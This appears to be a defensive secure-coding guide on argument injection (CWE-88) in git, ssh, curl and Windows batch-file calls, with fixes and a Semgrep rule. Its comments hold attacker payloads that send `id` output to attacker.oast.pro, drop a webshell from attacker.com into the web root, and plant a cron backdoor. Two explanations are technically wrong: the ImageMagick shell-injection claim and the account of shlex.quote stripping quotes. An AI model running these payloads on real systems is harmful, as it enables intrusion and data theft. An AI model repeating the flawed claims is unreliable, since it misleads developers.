Argument Injection

# APPLICATION CODE — developer believes this is safe
import subprocess
def clone_repository(user_repo):
    subprocess.run(["git", "clone", user_repo])  # shell=False — CWE-78 safe

# ATTACKER SUPPLIES:
user_repo = "--upload-pack=touch /tmp/pwned http://legitimate-looking-url.com"
 
# RESULTING CALL:
git clone --upload-pack=touch /tmp/pwned http://legitimate-looking-url.com
 
# git parses --upload-pack as a legitimate flag and executes:
touch /tmp/pwned

# VULNERABLE — user controls the hostname argument
import subprocess
def test_ssh_connectivity(host):
    subprocess.run(["ssh", "-o", "ConnectTimeout=5", host, "echo test"])
    # shell=False — no shell injection (CWE-78)
    # BUT: user_host = "-oProxyCommand=id>/tmp/pwned target" is still exploitable
 
# Attacker payload:
# host = "-oProxyCommand=curl http://attacker.oast.pro/$(id|base64 -w0) target.com"
# SSH executes: curl http://attacker.oast.pro/[base64 id output] target.com

# VULNERABLE — user URL passed as argument to curl
import subprocess
def fetch_resource(url):
    subprocess.run(["curl", "-s", "--max-time", "10", url])
 
# Attacker payload:
# url = "-o /var/www/html/shell.php http://attacker.com/webshell.php"
# curl writes the PHP webshell to the web root — no metacharacters used

# VULNERABLE — user supplies repository URL
import subprocess
def clone_repo(user_repo):
    subprocess.run(["git", "clone", "--depth", "1", user_repo, "/tmp/cloned"])
 
# Attacker payload:
# user_repo = "--upload-pack=bash -c 'id>/tmp/pwned' http://legitimate.com/repo"
# git executes: bash -c 'id>/tmp/pwned' as the upload-pack command

use std::process::Command;
 
// VULNERABLE — all Rust versions < 1.77.2 on Windows
fn run_batch(user_input: &str) -> std::io::Result<()> {
    Command::new("target.bat")
        .arg(user_input)  // Insufficient escaping for cmd.exe
        .spawn()?;
    Ok(())
}
// Attacker input: "\"&whoami"  → cmd.exe breaks out of quote context

// VULNERABLE (PHP < 8.3.5 on Windows) — array form, no shell invoked
$result = proc_open(['script.bat', $user_input], $descriptors, $pipes);
// cmd.exe is invoked implicitly for .bat files
// user_input containing " & whoami escapes the argument context in cmd.exe
 
// BYPASSED PATCH (PHP < 8.3.7) — CVE-2024-5585
// A trailing space after .bat triggers a different cmd.exe code path
$result = proc_open(['script.bat ', $user_input], ...);
// The space after .bat bypasses the CVE-2024-1874 fix

// VULNERABLE — Node.js < 21.7.2 on Windows
const { spawnSync } = require('child_process');
spawnSync('script.bat', [userInput], { shell: false });
// shell: false is supposed to protect against shell injection
// But .bat files invoke cmd.exe implicitly on Windows
// userInput containing cmd.exe metacharacters can still inject

# VULNERABLE — passes user filename to ImageMagick without validation
from subprocess import call
def convert_image(filename):
    call(["convert", f"/uploads/{filename}", "/thumbnails/output.png"])
    # filename = "image.jpg;id>/tmp/pwned" → shell injection via argument
 
# SAFE — validate filename before conversion
import re
def convert_image_safe(filename):
    if not re.fullmatch(r'^[a-zA-Z0-9_\-]{1,64}\.(jpg|png|gif|webp)$', filename):
        raise ValueError("Invalid filename")
    call(["convert", f"/uploads/{filename}", "/thumbnails/output.png"])
 
# ALSO: add to ImageMagick policy.xml:
# <policy domain="coder" rights="none" pattern="MVG" />
# <policy domain="coder" rights="none" pattern="HTTPS" />

rules:
  - id: potential-argument-injection
    pattern: subprocess.run([..., $USER_INPUT, ...])
    message: "User input in subprocess argument array — check for argument injection (CWE-88)"
    languages: [python]
    severity: WARNING

# SAFER — -- prevents option injection
subprocess.run(["git", "clone", "--", user_repo])
subprocess.run(["curl", "-s", "--max-time", "10", "--", user_url])
 
# Note: not all programs honor -- correctly
# -- must be combined with allowlist validation for full protection

import re, subprocess
 
# SAFE — strict URL allowlist prevents -o and other flag injection
def fetch_url(url):
    # Only allow http/https URLs with valid hostnames — no leading dashes
    if not re.fullmatch(r'^https?://[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}(/[^\s]*)?$', url):
        raise ValueError("Invalid URL format")
    subprocess.run(["curl", "-s", "--max-time", "10", "--", url])
 
# SAFE — allowlist of permitted repository sources
ALLOWED_HOSTS = {"github.com", "gitlab.com", "bitbucket.org"}
def clone_repo(url):
    from urllib.parse import urlparse
    parsed = urlparse(url)
    if parsed.scheme not in ("https", "http") or parsed.netloc not in ALLOWED_HOSTS:
        raise ValueError("Repository host not permitted")
    subprocess.run(["git", "clone", "--depth", "1", "--", url, "/tmp/cloned"])

const { exec, execFile, spawn } = require('child_process');
 
// exec() — invokes shell, vulnerable to CWE-78
exec(`curl ${userUrl}`, callback);  // DANGEROUS — metacharacters interpreted
 
// execFile() — no shell, but CWE-88 still applies
execFile('curl', [userUrl], callback);
// If userUrl = '-o /etc/cron.d/backdoor http://attacker.com/payload'
// execFile passes this to curl without shell interpretation
// curl still honors --output flag → argument injection succeeds
 
// SAFE — validate URL before passing to execFile
const { URL } = require('url');
function fetchSafe(userUrl, callback) {
    let parsed;
    try {
        parsed = new URL(userUrl);
    } catch {
        return callback(new Error("Invalid URL"));
    }
    // Allowlist allowed hosts
    const ALLOWED_HOSTS = new Set(['api.internal.com', 'cdn.company.com']);
    if (!ALLOWED_HOSTS.has(parsed.hostname)) {
        return callback(new Error("Host not permitted"));
    }
    execFile('curl', ['-s', '--max-time', '10', '--', userUrl], callback);
}

import subprocess, re
from urllib.parse import urlparse
 
# shlex.quote() does NOT prevent argument injection
# It prevents shell metacharacters in a shell=True context
# It has NO effect on CWE-88 because there is no shell to quote against
import shlex
safe = shlex.quote(user_url)
subprocess.run(["curl", safe])  # CWE-78 protected; CWE-88 NOT protected
# safe = "'-o /etc/cron.d/backdoor http://attacker.com/payload'"
# curl receives: -o /etc/cron.d/backdoor http://attacker.com/payload (after shell strips quotes)
 
# CORRECT approach — allowlist validation + -- terminator
def fetch_resource(user_url):
    try:
        parsed = urlparse(user_url)
    except Exception:
        raise ValueError("Invalid URL")
    if parsed.scheme not in ('http', 'https'):
        raise ValueError("Only http/https allowed")
    if not re.fullmatch(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}$', parsed.netloc):
        raise ValueError("Invalid hostname")
    subprocess.run(
        ["curl", "-s", "--max-time", "10", "--", user_url],
        capture_output=True,
        timeout=15
    )

# Instead of: subprocess.run(["curl", user_url])
import requests
response = requests.get(user_url, timeout=10)  # No subprocess, no argument injection
 
# Instead of: subprocess.run(["git", "clone", user_repo])
# Use GitPython:
import git
git.Repo.clone_from(user_repo, "/tmp/cloned")  # No subprocess